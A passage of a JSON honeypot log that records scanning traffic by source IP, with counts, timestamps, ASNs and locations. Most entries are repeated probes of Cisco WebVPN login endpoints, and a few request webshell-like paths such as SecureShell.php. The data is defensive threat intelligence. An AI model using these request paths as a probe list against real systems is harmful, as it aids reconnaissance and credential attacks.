      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "45.84.107.172": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:15:55.309Z",
      "last_seen": "2026-04-24T09:15:55.309Z",
      "ports": [],
      "event_types": [
        "\"GET /libs/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "45.84.107.76": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:11:09.713Z",
      "last_seen": "2026-04-24T09:11:09.713Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "54.205.241.255": {
      "attack_count": 1,
      "first_seen": "2026-04-30T00:59:06.169Z",
      "last_seen": "2026-04-30T00:59:06.169Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.91.236.142": {
      "attack_count": 1,
      "first_seen": "2026-04-16T01:02:16.179Z",
      "last_seen": "2026-04-16T01:02:16.179Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.57": {
      "attack_count": 1,
      "first_seen": "2026-04-27T00:27:37.307Z",
      "last_seen": "2026-04-27T00:27:37.307Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.41": {
      "attack_count": 1,
      "first_seen": "2026-04-03T05:16:43.180Z",
      "last_seen": "2026-04-03T05:16:43.180Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "87.236.176.169": {
      "attack_count": 1,
      "first_seen": "2026-04-08T18:25:20.913Z",
      "last_seen": "2026-04-08T18:25:20.913Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.157": {
      "attack_count": 1,
      "first_seen": "2026-04-26T20:22:11.127Z",
      "last_seen": "2026-04-26T20:22:11.127Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.111": {
      "attack_count": 1,
      "first_seen": "2026-04-02T03:15:19.381Z",
      "last_seen": "2026-04-02T03:15:19.381Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "157.250.202.204": {
      "attack_count": 127,
      "first_seen": "2026-04-18T17:31:31.603Z",
      "last_seen": "2026-04-19T21:53:31.606Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26666,
      "as_org": "Interserver, Inc"
    },
    "141.133.79.43": {
      "attack_count": 39,
      "first_seen": "2026-04-13T04:46:11.447Z",
      "last_seen": "2026-04-15T03:08:45.347Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Daytona Beach",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "68.235.46.220": {
      "attack_count": 33,
      "first_seen": "2026-04-08T11:51:51.149Z",
      "last_seen": "2026-04-29T02:09:32.512Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.159": {
      "attack_count": 30,
      "first_seen": "2026-04-08T21:41:20.229Z",
      "last_seen": "2026-04-27T14:55:01.731Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.204": {
      "attack_count": 30,
      "first_seen": "2026-04-08T13:12:59.054Z",
      "last_seen": "2026-04-28T04:59:34.319Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.81.231.106": {
      "attack_count": 27,
      "first_seen": "2026-04-10T16:37:29.597Z",
      "last_seen": "2026-04-28T00:12:58.478Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "143.244.47.69": {
      "attack_count": 24,
      "first_seen": "2026-04-08T22:54:05.239Z",
      "last_seen": "2026-04-29T03:12:37.827Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.106.236": {
      "attack_count": 24,
      "first_seen": "2026-04-11T04:10:00.893Z",
      "last_seen": "2026-04-25T14:37:32.110Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.199": {
      "attack_count": 24,
      "first_seen": "2026-04-11T07:35:35.520Z",
      "last_seen": "2026-04-21T07:12:11.940Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.81.231.233": {
      "attack_count": 21,
      "first_seen": "2026-04-08T09:42:17.809Z",
      "last_seen": "2026-04-29T19:25:03.105Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.107.236": {
      "attack_count": 21,
      "first_seen": "2026-04-08T22:59:58.808Z",
      "last_seen": "2026-04-28T02:21:18.104Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.61": {
      "attack_count": 21,
      "first_seen": "2026-04-08T16:16:11.212Z",
      "last_seen": "2026-04-21T05:07:44.898Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.210": {
      "attack_count": 21,
      "first_seen": "2026-04-22T09:58:03.122Z",
      "last_seen": "2026-04-29T19:18:38.754Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.233": {
      "attack_count": 21,
      "first_seen": "2026-04-08T10:05:36.720Z",
      "last_seen": "2026-04-19T06:38:37.248Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.156.46.166": {
      "attack_count": 19,
      "first_seen": "2026-04-11T10:42:41.913Z",
      "last_seen": "2026-04-29T21:08:32.508Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.96.45": {
      "attack_count": 19,
      "first_seen": "2026-04-13T08:13:40.912Z",
      "last_seen": "2026-04-30T00:06:48.842Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.246.175": {
      "attack_count": 18,
      "first_seen": "2026-04-08T15:07:20.540Z",
      "last_seen": "2026-04-27T19:12:34.819Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.172.218": {
      "attack_count": 18,
      "first_seen": "2026-04-11T10:50:14.181Z",
      "last_seen": "2026-04-28T04:50:59.416Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.114.233": {
      "attack_count": 18,
      "first_seen": "2026-04-08T13:31:49.107Z",
      "last_seen": "2026-04-27T14:54:20.482Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.48": {
      "attack_count": 18,
      "first_seen": "2026-04-10T18:50:19.218Z",
      "last_seen": "2026-04-28T06:49:02.501Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.156": {
      "attack_count": 18,
      "first_seen": "2026-04-13T11:37:06.948Z",
      "last_seen": "2026-04-29T03:15:00.041Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.229": {
      "attack_count": 18,
      "first_seen": "2026-04-21T17:46:07.115Z",
      "last_seen": "2026-04-29T19:40:40.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.27": {
      "attack_count": 18,
      "first_seen": "2026-04-08T12:26:50.457Z",
      "last_seen": "2026-04-30T02:27:12.290Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.252.59.131": {
      "attack_count": 16,
      "first_seen": "2026-04-13T05:40:47.422Z",
      "last_seen": "2026-04-13T06:44:58.930Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "152.32.141.202": {
      "attack_count": 16,
      "first_seen": "2026-04-02T19:32:20.649Z",
      "last_seen": "2026-04-02T19:33:10.072Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "104.36.50.9": {
      "attack_count": 15,
      "first_seen": "2026-04-08T21:59:42.834Z",
      "last_seen": "2026-04-29T02:36:47.021Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "138.249.167.127": {
      "attack_count": 15,
      "first_seen": "2026-04-12T01:44:47.559Z",
      "last_seen": "2026-04-12T02:58:53.256Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.17.3": {
      "attack_count": 15,
      "first_seen": "2026-04-13T08:37:07.700Z",
      "last_seen": "2026-04-15T02:18:26.084Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "173.249.252.45": {
      "attack_count": 15,
      "first_seen": "2026-04-08T12:35:53.316Z",
      "last_seen": "2026-04-26T10:49:01.322Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.185": {
      "attack_count": 15,
      "first_seen": "2026-04-19T01:31:42.516Z",
      "last_seen": "2026-04-25T09:17:24.152Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.233": {
      "attack_count": 15,
      "first_seen": "2026-04-11T06:08:59.215Z",
      "last_seen": "2026-04-25T11:14:26.508Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.109": {
      "attack_count": 15,
      "first_seen": "2026-04-11T02:08:03.295Z",
      "last_seen": "2026-04-29T23:12:47.086Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.109": {
      "attack_count": 15,
      "first_seen": "2026-04-13T17:44:05.291Z",
      "last_seen": "2026-04-28T01:48:40.879Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.175": {
      "attack_count": 15,
      "first_seen": "2026-04-10T00:49:36.226Z",
      "last_seen": "2026-04-29T12:27:12.606Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "141.133.51.2": {
      "attack_count": 14,
      "first_seen": "2026-04-13T14:08:36.495Z",
      "last_seen": "2026-04-14T02:10:46.424Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Encino",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.76.158": {
      "attack_count": 14,
      "first_seen": "2026-04-14T00:54:07.920Z",
      "last_seen": "2026-04-15T02:23:06.033Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "193.176.23.210": {
      "attack_count": 14,
      "first_seen": "2026-04-13T01:08:14.060Z",
      "last_seen": "2026-04-13T09:00:04.649Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Mount Vernon",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.40.172": {
      "attack_count": 13,
      "first_seen": "2026-04-02T14:27:29.158Z",
      "last_seen": "2026-04-03T03:57:31.065Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "23.234.111.48": {
      "attack_count": 13,
      "first_seen": "2026-04-08T09:27:52.514Z",
      "last_seen": "2026-04-18T05:02:03.750Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.186.199": {
      "attack_count": 13,
      "first_seen": "2026-04-16T03:54:58.661Z",
      "last_seen": "2026-04-23T05:55:22.143Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "code 505",
        "\"GET /version HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "103.102.246.233": {
      "attack_count": 12,
      "first_seen": "2026-04-18T05:05:22.801Z",
      "last_seen": "2026-04-30T03:15:50.493Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.81.230.31": {
      "attack_count": 12,
      "first_seen": "2026-04-10T10:06:50.947Z",
      "last_seen": "2026-04-22T03:30:37.224Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "155.2.191.169": {
      "attack_count": 12,
      "first_seen": "2026-04-11T11:17:40.134Z",
      "last_seen": "2026-04-25T13:35:50.810Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "155.2.191.193": {
      "attack_count": 12,
